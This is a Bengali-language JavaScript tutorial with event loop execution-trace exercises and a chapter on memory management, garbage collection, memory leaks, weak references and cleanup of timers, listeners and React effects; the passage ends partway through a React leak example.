JavaScript সিংক্রোনাস ও অ্যাসিনক্রোনাস কোঅর্ডিনেশনের পূর্ণাঙ্গ আর্কিটেকচারাল ফ্লো ম্যাপ:

🧭 Event Loop Global Coordination Tree
JavaScript
                      │
                      ▼
              Execution Context
                      │
                      ▼
                 Call Stack
                      │
             ┌────────┴────────┐
             │                 │
             ▼                 ▼
       Synchronous          Async Work
                               │
                               ▼
                         Host / Web APIs
                               │
                    ┌──────────┴──────────┐
                    ▼                     ▼
              Microtask Queue        Task Queue
                    │                     │
                    └──────────┬──────────┘
                               ▼
                          Event Loop
                               │
                               ▼
                          Call Stack
                               │
                               ▼
                           Execute
⭐ এক নজরে মূল কথা (Key Takeaway):
JavaScript code প্রথমে Call Stack-এ synchronous-ভাবে execute হয়; asynchronous কাজ host environment-এর মাধ্যমে schedule হয়; Call Stack খালি হলে microtasks আগে process হয়, তারপর tasks-এর সুযোগ আসে—এই coordination-ই Event Loop-এর মূল ভিত্তি।
29.Lab 📝 Hands-On Practice Lab — 4 Event Loop Execution Trace Challenges

ইভেন্ট লুপের বিভিন্ন ফেজের অগ্রাধিকার নিখুঁতভাবে যাচাই করতে নিচে ৪টি বহুল জিজ্ঞাসিত চ্যালেঞ্জের সম্পূর্ণ স্টেপ-বাই-স্টেপ ট্রেস সলিউশন দেওয়া হলো:

Practice 1: Timer vs Synchronous Code Beginner

setTimeout(fn, 0) বনাম সাধারণ console.log এর এক্সিকিউশন অর্ডার যাচাই:

Practice 1 Code ChallengeJavaScript
console.log("A");

setTimeout(() => {
    console.log("B");
}, 0);

console.log("C");
▶ CONSOLE OUTPUTOutput
A
C
B
🔍 Step-by-Step Execution Trace:
১. 'A' কল স্ট্যাকে তাৎক্ষণিকভাবে এক্সিকিউট হয়ে প্রিন্ট হয়। ২. setTimeout কল হয়ে টাইমার হোস্ট APIs-এ হ্যান্ডল হয় এবং ০ms পর Macrotask Queue-তে যুক্ত হয়। ৩. 'C' কল স্ট্যাকে এক্সিকিউট হয়ে প্রিন্ট হয়। ৪. কল স্ট্যাক খালি হলে ইভেন্ট লুপ Macrotask Queue থেকে 'B' এনে এক্সিকিউট করে।
Practice 2: Promise Microtask vs Synchronous Code Beginner

Promise.resolve().then() বনাম সাধারণ console.log এর এক্সিকিউশন অর্ডার:

Practice 2 Code ChallengeJavaScript
console.log("A");

Promise.resolve().then(() => {
    console.log("B");
});

console.log("C");
▶ CONSOLE OUTPUTOutput
A
C
B
🔍 Step-by-Step Execution Trace:
১. 'A' সিঙ্ক্রোনাসভাবে প্রিন্ট হয়। ২. Promise.resolve() এর .then() কলব্যাক Microtask Queue-তে শিডিউল হয়। ৩. 'C' সিঙ্ক্রোনাসভাবে প্রিন্ট হয়। ৪. সিনক্রোনাস স্ক্রিপ্ট শেষ হওয়ামাত্রই কল স্ট্যাক খালি পেয়ে Microtask Queue থেকে 'B' এক্সিকিউট হয়।
Practice 3: Combined Multi-Priority Execution Trace Intermediate

Synchronous, Timer ও একাধিক Promise-এর সম্মিলিত এক্সিকিউশন ট্রেস:

Practice 3 Code ChallengeJavaScript
console.log("1");

setTimeout(() => {
    console.log("2");
}, 0);

Promise.resolve().then(() => {
    console.log("3");
});

Promise.resolve().then(() => {
    console.log("4");
});

console.log("5");
▶ CONSOLE OUTPUTOutput
1
5
3
4
2
🔍 Step-by-Step Execution Trace:
১. সিনক্রোনাস কোড: '1' এবং '5' আগে প্রিন্ট হবে। ২. মাইক্রোটাস্ক ড্রেন: '3' এবং '4' মাইক্রোটাস্ক কিউতে থাকায় টাইমার টাস্কের আগে পরপর প্রিন্ট হবে। ৩. ম্যাক্রোটাস্ক এক্সিকিউশন: সব মাইক্রোটাস্ক শেষ হলে ইভেন্ট লুপ টাস্ক কিউ থেকে '2' এক্সিকিউট করবে।
Practice 4: Interleaved Nested Microtasks & Macrotasks Advanced

টাইমারের ভেতর প্রমিজ এবং প্রমিজের ভেতর টাইমারের জটিল ইন্টারলিভড এক্সিকিউশন:

Practice 4 Code ChallengeJavaScript
console.log("A");

setTimeout(() => {
    console.log("B");

    Promise.resolve().then(() => {
        console.log("C");
    });
}, 0);

Promise.resolve().then(() => {
    console.log("D");

    setTimeout(() => {
        console.log("E");
    }, 0);
});

console.log("F");
▶ CONSOLE OUTPUTOutput
A
F
D
B
C
E
🔍 Step-by-Step Execution Trace:
১. সিনক্রোনাস ফেজ: 'A' প্রিন্ট হয়, Macrotask Q-তে ঢোকে Timer-B, Microtask Q-তে ঢোকে Promise-D, 'F' প্রিন্ট হয়। [Output: A, F] ২. মাইক্রোটাস্ক ফেজ: Promise-D চলে, 'D' প্রিন্ট করে Macrotask Q-তে Timer-E পাঠায়। [Output: D] ৩. প্রথম ম্যাক্রোটাস্ক: Timer-B চলে, 'B' প্রিন্ট করে Microtask Q-তে Promise-C পাঠায়। [Output: B] ৪. মাইক্রোটাস্ক চেক: পরবর্তী ম্যাক্রোটাস্কে যাওয়ার আগে ইভেন্ট লুপ মাইক্রোটাস্ক Promise-C রান করে। [Output: C] ৫. দ্বিতীয় ম্যাক্রোটাস্ক: Timer-E চলে 'E' প্রিন্ট করে। [Output: E] চূড়ান্ত রেজাল্ট: A → F → D → B → C → E
🚀 Next Chapter Preview:
Chapter 30 — JavaScript Memory Management & Garbage Collection
পরবর্তী চ্যাপ্টারে আমরা শিখব Memory Lifecycle, Memory Allocation, Stack vs Heap, Reference Counting, Mark-and-Sweep Garbage Collection এবং Memory Leak প্রতিকার।
Chapter 30
↑ Index
Memory Management & Garbage Collection — মেমরি ম্যানেজমেন্ট ও গার্বেজ কালেকশন
Total Modules
64 Modules + Practice Lab
Curriculum Part
Part 24 — Memory & GC Architecture
Core Mechanics
Stack vs Heap, Mark & Sweep, WeakRef
Reference Standard
ECMAScript 2026 / V8 GC Engine Spec
🎯 JavaScript Memory Management & Garbage Collection — মেমরি আর্কিটেকচার শেখার মূল উদ্দেশ্য

JavaScript-এ মেমরি কীভাবে বরাদ্দ হয়, অবজেক্ট রেফারেন্স কীভাবে কাজ করে এবং মেমরি লিক এড়াতে কী কী সতর্কতা প্রয়োজন—তা জানা একজন প্রোডাকশন ইঞ্জিনিয়ারের জন্য অপরিহার্য। এই চ্যাপ্টারে আমরা Stack vs Heap, Mark-and-Sweep Garbage Collection, Reachability Tree, Closure Memory, Detached DOM Nodes, WeakMap/WeakSet এবং Chrome DevTools Heap Profiling গভীরভাবে শিখব।

📌 1. Memory Allocation
📌 2. Stack vs Heap
📌 3. References & Values
📌 4. Reachability & Roots
📌 5. Mark-and-Sweep GC
📌 6. Circular References
📌 7. Memory Leak Traps
📌 8. Detached DOM Nodes
📌 9. WeakMap & WeakRef
📌 10. Heap Profiling
Part 01 — Core Concepts, Runtime Architecture & Memory Allocation (30.1 – 30.9)
30.1 Memory Management কী?

Program চলার সময় বিভিন্ন data রাখার জন্য computer memory ব্যবহার করে। যেমন:

JavaScript SourceJavaScript
const name = "Ripon";
const age = 23;

const user = {
    name: "Ripon",
    age: 23
};

এই data program চলার সময় memory-তে রাখা হয়। তারপর যখন data আর প্রয়োজন হয় না, JavaScript সেই memory reclaim করার ব্যবস্থা করে। এই পুরো process:

🧭 MEMORY LIFECYCLE & RECLAMATION FLOW
Memory Allocation
       
Use Memory
       
No Longer Needed
       
Garbage Collection
       
Memory Reclaimed
30.2 JavaScript কি নিজে Memory Manage করে?

হ্যাঁ। C/C++-এর মতো language-এ developer-কে অনেক ক্ষেত্রে manually memory manage করতে হয়। JavaScript-এ সাধারণত:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Developer
   
Create Object
   
JavaScript Runtime
   
Memory Management
   
Garbage Collector

তাই JavaScript-কে garbage-collected language বলা হয়।

30.3 Memory Lifecycle

একটি সাধারণ memory lifecycle:

🧭 MEMORY LIFECYCLE & RECLAMATION FLOW
1. Allocate
      
2. Use
      
3. No longer reachable
      
4. Garbage Collector detects
      
5. Memory reclaimed

উদাহরণ:

JavaScript SourceJavaScript
let user = {
    name: "Ripon"
};

Object তৈরি হলো। পরে:

JavaScript SourceJavaScript
user = null;

যদি object-এর আর কোনো reference না থাকে, objectটি garbage collection-এর জন্য eligible হতে পারে।

30.4 Memory Allocation

যখন আমরা data তৈরি করি:

JavaScript SourceJavaScript
const name = "Ripon";

অথবা:

JavaScript SourceJavaScript
const numbers = [10, 20, 30];

অথবা:

JavaScript SourceJavaScript
const user = {
    name: "Ripon"
};

JavaScript runtime প্রয়োজন অনুযায়ী memory allocate করে। Conceptually:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
name
 
"Ripon"

numbers
 
[10, 20, 30]

user
 
{ name: "Ripon" }
30.5 Stack vs Heap

Chapter 29-এ আমরা Call Stack এবং Heap দেখেছিলাম। Memory-এর basic mental model:

🧭 STACK VS HEAP CONCEPTUAL ARCHITECTURE
Stack
----------------
Execution-related
Primitive values / references
Function frames
----------------

Heap
----------------
Objects
Arrays
Functions
Dynamic data
----------------

তবে একটি গুরুত্বপূর্ণ কথা: > Stack বনাম Heap-এর exact implementation JavaScript specification দ্বারা এভাবে নির্ধারিত নয়। এটি বোঝার জন্য একটি useful conceptual model।

30.6 Primitive Values

JavaScript-এর primitive values:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
string
number
bigint
boolean
undefined
null
symbol

উদাহরণ:

JavaScript SourceJavaScript
let age = 23;
let name = "Ripon";
let isStudent = true;

এগুলো primitive values।

30.7 Objects এবং Reference

Object:

JavaScript SourceJavaScript
const user = {
    name: "Ripon"
};

এখানে user variable object-এর সাথে একটি reference-এর মাধ্যমে সম্পর্কিত। Conceptually:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
user
 
 
─────────────────
 Object          
 name: "Ripon"   
─────────────────
30.8 Reference কী?

দেখো:

JavaScript SourceJavaScript
const user1 = {
    name: "Ripon"
};

const user2 = user1;

এখন:

🧭 OBJECT REFERENCE POINTER MODEL
user1 ─────
           
       ──────────
        Object   
        Ripon    
       ──────────
           
           
user2 ─────

দুটো variable একই object-কে reference করছে। তাই:

JavaScript SourceJavaScript
user2.name = "Shariar";

console.log(user1.name);
▶ CONSOLE OUTPUTOutput
Shariar

কারণ user1 এবং user2 একই object-এর দিকে reference করছে।

30.9 Primitive Copy vs Reference

Primitive:

JavaScript SourceJavaScript
let a = 10;
let b = a;

b = 20;

console.log(a);
▶ CONSOLE OUTPUTOutput
10

কারণ primitive value copy হয়েছে। অন্যদিকে:

JavaScript SourceJavaScript
const a = {
    value: 10
};

const b = a;

b.value = 20;

console.log(a.value);
▶ CONSOLE OUTPUTOutput
20

কারণ একই object reference করা হয়েছে।

Part 02 — Reachability, Active Roots & Object Graphs (30.10 – 30.13)
30.10 Reachability — সবচেয়ে গুরুত্বপূর্ণ Concept 🔥

Garbage Collection বোঝার জন্য সবচেয়ে গুরুত্বপূর্ণ concept: > Reachability সহজভাবে: > কোনো object যদি program-এর active references থেকে এখনও পৌঁছানো যায়, তাহলে সেটি reachable। আর যদি আর কোনো active reference দিয়ে পৌঁছানো না যায়, তাহলে সেটি garbage collection-এর জন্য eligible হতে পারে।

30.11 Root কী?

Garbage Collector সাধারণত কিছু roots থেকে object reachability track করার concept ব্যবহার করে। Examples:

  • Global references
  • বর্তমানে executing function-এর reachable references
  • অন্যান্য runtime roots

Simplified:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
ROOT
 
 
Object A
 
 
Object B

যদি Root থেকে B পর্যন্ত পৌঁছানো যায়:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
B = Reachable
30.12 Reachable Example
JavaScript SourceJavaScript
let user = {
    name: "Ripon"
};

Conceptually:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Global
  
  
user
  
  
Object

Object reachable।

30.13 Unreachable Object

এখন:

JavaScript SourceJavaScript
let user = {
    name: "Ripon"
};

user = null;

আগের object-এর দিকে আর user reference নেই। Conceptually:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Global
  
  X

Object

Object unreachable হয়ে যেতে পারে। তখন Garbage Collector পরে সেটার memory reclaim করতে পারে।

Part 03 — Garbage Collection Engine & Mark-and-Sweep Algorithm (30.14 – 30.21)
30.14 Garbage Collection কী?

Garbage Collector-এর কাজ: > যেসব object আর reachable নয় এবং আর ব্যবহার করা সম্ভব নয়, সেগুলোর memory reclaim করা। সহজভাবে:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Object created
      
Used
      
No reference
      
Unreachable
      
Garbage Collector
      
Memory reclaimed
30.15 Garbage Collection Manual নয়

তুমি সাধারণত এমন code লিখবে না:

JavaScript SourceJavaScript
free(user);

JavaScript-এ সাধারণভাবে এইভাবে manually object free করতে হয় না। বরং:

JavaScript SourceJavaScript
user = null;

এর মাধ্যমে reference remove করতে পারো। তারপর object unreachable হলে GC পরে memory reclaim করতে পারে।

30.16 null কি Object Delete করে?

এটা খুব important।

JavaScript SourceJavaScript
let user = {
    name: "Ripon"
};

user = null;

null বসানোর সাথে সাথে object অবশ্যই সঙ্গে সঙ্গে delete হয়ে যায়—এমন নয়। বরং:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
user reference removed
       
Object may become unreachable
       
GC may reclaim later

Garbage collection-এর timing runtime control করে।

30.17 Garbage Collection সঙ্গে সঙ্গে হয় না
JavaScript SourceJavaScript
let data = {
    huge: "some data"
};

data = null;

এখন object unreachable হতে পারে। কিন্তু:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
data = null

হওয়ার সাথে সাথেই GC necessarily run করবে—এটা ধরে নেওয়া ঠিক নয়। Garbage Collector কখন memory reclaim করবে সেটা runtime-এর implementation এবং heuristics-এর ওপর নির্ভর করে।

30.18 Mark-and-Sweep

Garbage Collection বোঝার জন্য classic concept: > Mark-and-Sweep Simplified process:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Step 1
Start from roots

Step 2
Mark reachable objects

Step 3
Find unmarked objects

Step 4
Reclaim their memory
30.19 Mark-and-Sweep Example

ধরো:

🧭 MARK-AND-SWEEP GC REACHABILITY GRAPH
Root
 
 
 A
 
 
 B

C

এখানে:

🧭 MARK-AND-SWEEP GC REACHABILITY GRAPH
Root  A  B

তাই:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
A = reachable
B = reachable
C = unreachable

Garbage Collector:

🧭 MARK-AND-SWEEP GC REACHABILITY GRAPH
Mark:
A 
B 
C 

Sweep:
C removed/reclaimed
30.20 Circular Reference

আগে পুরনো কিছু garbage collection model-এ circular reference নিয়ে সমস্যা ছিল। কিন্তু modern JavaScript garbage collectors শুধু reference count-এর ওপর নির্ভর করে না; reachability-based tracing techniques ব্যবহার করে। উদাহরণ:

JavaScript SourceJavaScript
let a = {};

let b = {};

a.other = b;
b.other = a;

এখন:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
a  b
   
───

এটি circular reference। পরে:

JavaScript SourceJavaScript
a = null;
b = null;

যদি আর কোনো root reference না থাকে:

🧭 MARK-AND-SWEEP GC REACHABILITY GRAPH
Root
 X

পুরো cycle unreachable হতে পারে এবং garbage collection-এর জন্য eligible হতে পারে।

30.21 Reference Counting কেন যথেষ্ট নয়?

যদি শুধু reference count ব্যবহার করা হতো:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
A  B
B  A

তাহলে:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
A count = 1
B count = 1

দেখে মনে হতে পারে তারা এখনও alive। কিন্তু Root থেকে কেউ তাদের access করতে পারছে না। তাই modern GC reachability-based tracing অনেক বেশি useful।

Part 04 — Memory Leaks, Retained References & Detached DOM Nodes (30.22 – 30.28)
30.22 Memory Leak কী?

Memory Leak হলো এমন situation যেখানে program-এর আর প্রয়োজন নেই এমন memory references-এর কারণে memory unnecessarily retained থাকে। সহজভাবে:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Memory ব্যবহার হচ্ছে
       
Data আর দরকার নেই
       
কিন্তু reference রয়ে গেছে
       
GC reclaim করতে পারছে না
       
Memory usage বাড়ছে
30.23 Memory Leak Example — Global Variable
JavaScript Source❌ Memory Leak / Anti-Pattern
window.myData = [];

function addData(data) {
    window.myData.push(data);
}

যদি application continuously বড় data যোগ করে:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
myData
 
Huge Array
 
More Data
 
More Data

এবং application-এর আর প্রয়োজন না থাকলেও global reference ধরে রাখে, memory বাড়তে পারে।

30.24 Event Listener Memory Leak

একটি common frontend problem:

JavaScript SourceJavaScript
const button = document.querySelector("#button");

function handleClick() {
    console.log("Clicked");
}

button.addEventListener("click", handleClick);

যদি dynamically created component পরে remove করা হয় কিন্তু listener lifecycle ঠিকভাবে manage না করা হয়, কিছু situation-এ unnecessary references retain হতে পারে। বিশেষ করে SPA/framework applications-এ lifecycle management গুরুত্বপূর্ণ।

30.25 Event Listener Cleanup

যদি listener আর দরকার না হয়:

JavaScript Source✅ Clean / Memory Safe
button.removeEventListener("click", handleClick);

Important:

JavaScript SourceJavaScript
button.addEventListener("click", handleClick);

এর পরে remove করতে হলে একই function reference ব্যবহার করা ভালো:

JavaScript Source✅ Clean / Memory Safe
button.removeEventListener("click", handleClick);
30.26 Anonymous Function-এর Common Problem
JavaScript SourceJavaScript
button.addEventListener("click", () => {
    console.log("Clicked");
});

পরে:

JavaScript Source✅ Clean / Memory Safe
button.removeEventListener("click", () => {
    console.log("Clicked");
});

এটা listener remove করবে না। কারণ দুইটা function আলাদা।

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
First function ≠ Second function

Better:

JavaScript Source✅ Clean / Memory Safe
function handleClick() {
    console.log("Clicked");
}

button.addEventListener("click", handleClick);

button.removeEventListener("click", handleClick);
30.27 Detached DOM Node

Frontend-এ একটি গুরুত্বপূর্ণ memory issue: > Detached DOM node ধরো:

JavaScript SourceJavaScript
const div = document.createElement("div");

const data = {
    name: "Ripon"
};

div.data = data;

তারপর DOM থেকে node remove করলে:

JavaScript SourceJavaScript
div.remove();

কিন্তু যদি অন্য কোথাও div-এর reference থেকে যায়:

JavaScript SourceJavaScript
someGlobalReference = div;

তাহলে node এবং তার associated references memory-তে retained থাকতে পারে।

30.28 DOM Memory Leak-এর Simple Mental Model
🧭 DETACHED DOM NODE RETENTION GRAPH
JavaScript Reference
       
DOM Node
       
More Data

DOM থেকে remove করলেই সব memory সঙ্গে সঙ্গে free হবে না। যদি JavaScript থেকে এখনও reference থাকে:

🧭 DETACHED DOM NODE RETENTION GRAPH
JS Reference
     
DOM Node

তাহলে সেটা reachable থাকতে পারে।

Part 05 — Closures & Lexical Scope Memory Lifecycle (30.29 – 30.32)
30.29 Closure এবং Memory

Chapter 26-এ closure দেখেছিলাম। Closure outer variables retain করতে পারে।

JavaScript SourceJavaScript
function createCounter() {
    let count = 0;

    return function () {
        count++;
        return count;
    };
}

const counter = createCounter();

এখন counter function-এর মাধ্যমে:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
count

accessible। Conceptually:

🧭 CLOSURE LEXICAL SCOPE MEMORY RETENTION
counter
  
closure
  
count

তাই closure-এর lifetime বুঝতে memory concepts গুরুত্বপূর্ণ।

30.30 Closure Memory Leak হতে পারে?

Closure নিজে memory leak নয়। কিন্তু closure যদি accidentally বড় object/reference ধরে রাখে এবং সেটা দীর্ঘসময় reachable থাকে, তাহলে unnecessary memory retention হতে পারে। উদাহরণ:

JavaScript SourceJavaScript
function createHandler() {
    const hugeData = new Array(1000000).fill("data");

    return function () {
        console.log(hugeData.length);
    };
}

const handler = createHandler();

handler যতক্ষণ hugeData-কে closure-এর মাধ্যমে retain করে, ততক্ষণ সেই data reachable থাকতে পারে।

30.31 Function Scope এবং Memory
JavaScript SourceJavaScript
function test() {
    const data = {
        name: "Ripon"
    };

    console.log(data);
}

test();

test() execution শেষ হলে সাধারণভাবে data আর reachable না থাকলে তার associated memory GC-এর জন্য eligible হতে পারে।

30.32 But Closure Changes the Lifetime
JavaScript SourceJavaScript
function test() {
    const data = {
        name: "Ripon"
    };

    return function () {
        return data;
    };
}

const getData = test();

এখন:

🧭 CLOSURE LEXICAL SCOPE MEMORY RETENTION
getData
   
closure
   
data

তাই test() শেষ হলেও data retain হতে পারে।

Part 06 — Weak References & Memory-Safe Collections (WeakMap / WeakSet) (30.33 – 30.37)
30.33 WeakMap কেন?

Chapter 12-এ আমরা WeakMap দেখেছি। Memory management-এর দিক থেকে WeakMap গুরুত্বপূর্ণ।

JavaScript Source✅ Clean / Memory Safe
const weakMap = new WeakMap();

let user = {
    name: "Ripon"
};

weakMap.set(user, "Private Data");

যদি:

JavaScript SourceJavaScript
user = null;

এবং object-এর আর কোনো strong reference না থাকে, WeakMap সেই object-কে এমনভাবে retain করে না যাতে garbage collection বাধ্যতামূলকভাবে বন্ধ হয়ে যায়।

30.34 WeakMap-এর Mental Model

Normal Map:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Map
 
Object
 
Strong reference

WeakMap:

🧭 WEAK REFERENCE MEMORY ASSOCIATION
WeakMap
   
Object
   
Weak association

তাই object অন্য কোথাও unreachable হলে WeakMap-এর association garbage collection-এর সাথে disappear হতে পারে।

30.35 WeakSet

একই ধারণা WeakSet-এর ক্ষেত্রেও।

JavaScript Source✅ Clean / Memory Safe
const weakSet = new WeakSet();

let user = {
    name: "Ripon"
};

weakSet.add(user);

user = null;

যদি আর কোনো strong reference না থাকে, object garbage collection-এর জন্য eligible হতে পারে।

30.36 WeakMap কোথায় ব্যবহার করা হয়?

একটি practical example:

JavaScript Source✅ Clean / Memory Safe
const metadata = new WeakMap();

function setMetadata(element, data) {
    metadata.set(element, data);
}

DOM element:

JavaScript SourceJavaScript
const button = document.querySelector("button");

setMetadata(button, {
    clicked: true
});

যদি button পরে DOM এবং application-এর অন্য strong references থেকে চলে যায়, WeakMap-এর association object lifetime-এর সাথে automatically disappear করতে পারে।

30.37 Cache এবং Memory

Caching performance বাড়ায়:

JavaScript SourceJavaScript
const cache = new Map();

cache.set("user:1", {
    name: "Ripon"
});

কিন্তু unlimited cache:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Cache
 
Data
 
More Data
 
More Data
 
Huge Memory

হতে পারে। তাই cache design করতে হয়:

  • Maximum size
  • Expiration
  • LRU strategy
  • Cleanup
  • Appropriate data structure
Part 07 — Memory Pressure, High Usage & Optimization Rules (30.38 – 30.43)
30.38 Infinite Array — Memory Problem
JavaScript Source❌ Memory Leak / Anti-Pattern
const data = [];

setInterval(() => {
    data.push(new Array(10000).fill("data"));
}, 100);

এখানে array ক্রমাগত বড় হচ্ছে।

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
data
 
10000
 
20000
 
30000
 
...

Memory usage continuously বাড়তে পারে।

30.39 Memory Leak vs High Memory Usage

দুটো এক নয়।

🔹 High Memory Usage

Program legitimately বড় data ব্যবহার করছে।

🔹 Memory Leak

Program-এর প্রয়োজন না থাকা data/reference unnecessarily retained হচ্ছে। Example:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
High memory:
Large image processing

vs

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Leak:
Old objects never released
30.40 Garbage Collection-এর Cost

Garbage Collection automatic হলেও completely free নয়। GC-এর জন্য:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
CPU
+
Memory
+
Time

ব্যবহার হতে পারে। যদি application continuously huge temporary objects তৈরি করে:

JavaScript SourceJavaScript
function process() {
    const huge = new Array(1000000).fill(0);
}

অনেক repeated allocation হলে GC pressure বাড়তে পারে।

30.41 Allocation Pressure

ধরো:

JavaScript SourceJavaScript
for (let i = 0; i < 1000000; i++) {
    const obj = {
        value: i
    };
}

অনেক temporary object তৈরি হচ্ছে। এগুলো পরে unreachable হলে GC reclaim করতে পারে। কিন্তু excessive allocation performance-এর ওপর চাপ তৈরি করতে পারে।

30.42 Object Creation Optimization

প্রয়োজনের বাইরে বারবার object তৈরি করা avoid করা যায়। Bad pattern:

JavaScript SourceJavaScript
function calculate(user) {
    return {
        name: user.name,
        age: user.age
    };
}

যদি millions of unnecessary temporary objects তৈরি হয়, performance impact হতে পারে। তবে premature optimization করা উচিত নয়। প্রথমে: > Correctness → Measure → Optimize

30.43 Memory Optimization Rules
🔹 Rule 1

Unnecessary global variables avoid করো।

🔹 Rule 2

Event listeners cleanup করো।

🔹 Rule 3

Large caches unlimited রাখবে না।

🔹 Rule 4

Unused references release করো।

🔹 Rule 5

Huge objects unnecessarily closure-এ retain করো না।

🔹 Rule 6

DOM references lifecycle-এর সাথে manage করো।

🔹 Rule 7

Huge arrays continuously grow করতে দিও না।

🔹 Rule 8

Performance problem হলে আগে measure করো।

Part 08 — Chrome DevTools Profiling, Heap Snapshots & Retainers (30.44 – 30.47)
30.44 Chrome DevTools Memory

Browser memory সমস্যা investigate করতে Chrome DevTools ব্যবহার করা যায়। Chrome:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
F12

তারপর:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Memory

Tab। এখানে সাধারণত:

  • Heap Snapshot
  • Allocation instrumentation
  • Allocation timeline

এর মতো tools পাওয়া যায়।

30.45 Heap Snapshot

Heap Snapshot দিয়ে JavaScript heap-এর object allocation/retention investigate করা যায়। Conceptually:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Before Action
     
Heap Snapshot
     
Perform Action
     
Cleanup
     
Another Snapshot
     
Compare

যদি object বারবার retained হতে থাকে, leak investigation করা যায়।

30.46 Retainers

Memory debugging-এ একটি গুরুত্বপূর্ণ term: > Retainer একটি object কেন memory-তে এখনও আছে? কোন reference সেটাকে ধরে রেখেছে? উদাহরণ:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Global
  
cache
  
user
  
largeObject

এখানে cache indirectly largeObject-কে retain করছে।

30.47 Garbage Collector কখন Object Collect করবে?

এটা predict করে exact time বলা যায় না। তুমি শুধু বুঝবে:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Object unreachable
       
Eligible for GC
       
GC eventually reclaims

Eligible ≠ Immediately Collected এই distinction interview-এ গুরুত্বপূর্ণ।

Part 09 — Advanced WeakRef, FinalizationRegistry & Explicit Cleanup (30.48 – 30.55)
30.48 WeakRef

JavaScript-এ advanced feature:

JavaScript SourceJavaScript
WeakRef

এটি object-এর weak reference তৈরি করতে পারে। Example:

JavaScript Source✅ Clean / Memory Safe
let user = {
    name: "Ripon"
};

const weakRef = new WeakRef(user);

পরে:

JavaScript SourceJavaScript
const value = weakRef.deref();

object এখনও available থাকলে object পাওয়া যেতে পারে। কিন্তু object garbage collected হয়ে গেলে:

JavaScript SourceJavaScript
weakRef.deref();

undefined দিতে পারে।

30.49 WeakRef কেন সাধারণভাবে Avoid করা হয়?

WeakRef advanced use case-এর জন্য। কারণ garbage collection timing deterministic নয়। তাই normal application logic এভাবে design করা উচিত নয়:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
"GC কখন object remove করবে?"

এর ওপর নির্ভর করে।

30.50 FinalizationRegistry

আরেকটি advanced feature:

JavaScript SourceJavaScript
FinalizationRegistry

এটি object garbage-collected হওয়ার পরে cleanup-related notification-এর জন্য ব্যবহার করা যেতে পারে। কিন্তু এটাও: > deterministic cleanup mechanism নয়। Critical resource cleanup-এর জন্য এর ওপর নির্ভর করা উচিত নয়।

30.51 Resource Cleanup বনাম Garbage Collection

খুব গুরুত্বপূর্ণ distinction। Garbage Collection memory reclaim করে। কিন্তু file/network/socket/database resource cleanup আলাদা বিষয় হতে পারে। উদাহরণ:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Memory cleanup
≠
Business resource cleanup

Browser frontend-এ:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
event listener
subscription
timer
WebSocket
observer

এগুলোর lifecycle explicitভাবে manage করা লাগতে পারে।

30.52 Timer Cleanup

ধরো:

JavaScript Source❌ Memory Leak / Anti-Pattern
const id = setInterval(() => {
    console.log("Running...");
}, 1000);

যখন আর দরকার নেই:

JavaScript Source✅ Clean / Memory Safe
clearInterval(id);

React-এর মতো framework-এ component unmount হলে এই ধরনের cleanup গুরুত্বপূর্ণ।

30.53 Event Listener Cleanup
JavaScript Source✅ Clean / Memory Safe
function handleClick() {
    console.log("Clicked");
}

button.addEventListener("click", handleClick);

// later
button.removeEventListener("click", handleClick);
30.54 Observer Cleanup

যদি তুমি observer ব্যবহার করো:

JavaScript SourceJavaScript
const observer = new MutationObserver(() => {
    console.log("Changed");
});

observer.observe(element, {
    childList: true
});

আর প্রয়োজন না হলে:

JavaScript SourceJavaScript
observer.disconnect();
30.55 WebSocket Cleanup

যেমন:

JavaScript SourceJavaScript
const socket = new WebSocket("wss://example.com");

আর প্রয়োজন না হলে appropriate lifecycle অনুযায়ী:

JavaScript SourceJavaScript
socket.close();

এগুলো memory management-এর পাশাপাশি resource lifecycle management

Part 10 — React Component Memory Architecture & Lifecycle Leaks (30.56 – 30.58)
30.56 React-এর সাথে Memory Management

React application-এ common cleanup:

JavaScript SourceJavaScript
useEffect(() => {
    const id = setInterval(() => {
        console.log("Running");
    }, 1000);

    return () => {
        clearInterval(id);
    };
}, []);

এখানে:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Component Mount
      
Timer Start
      
Component Unmount
      
Cleanup
      
clearInterval()

এটা unnecessary work এবং retained references কমাতে সাহায্য করে।

30.57 Memory Leak Example — React Style

Problematic pattern:

JavaScript Source❌ Memory Leak / Anti-Pattern
useEffect(() => {
    const id = setInterval(() => {
        fetchData();
    }, 1000);
}, []);

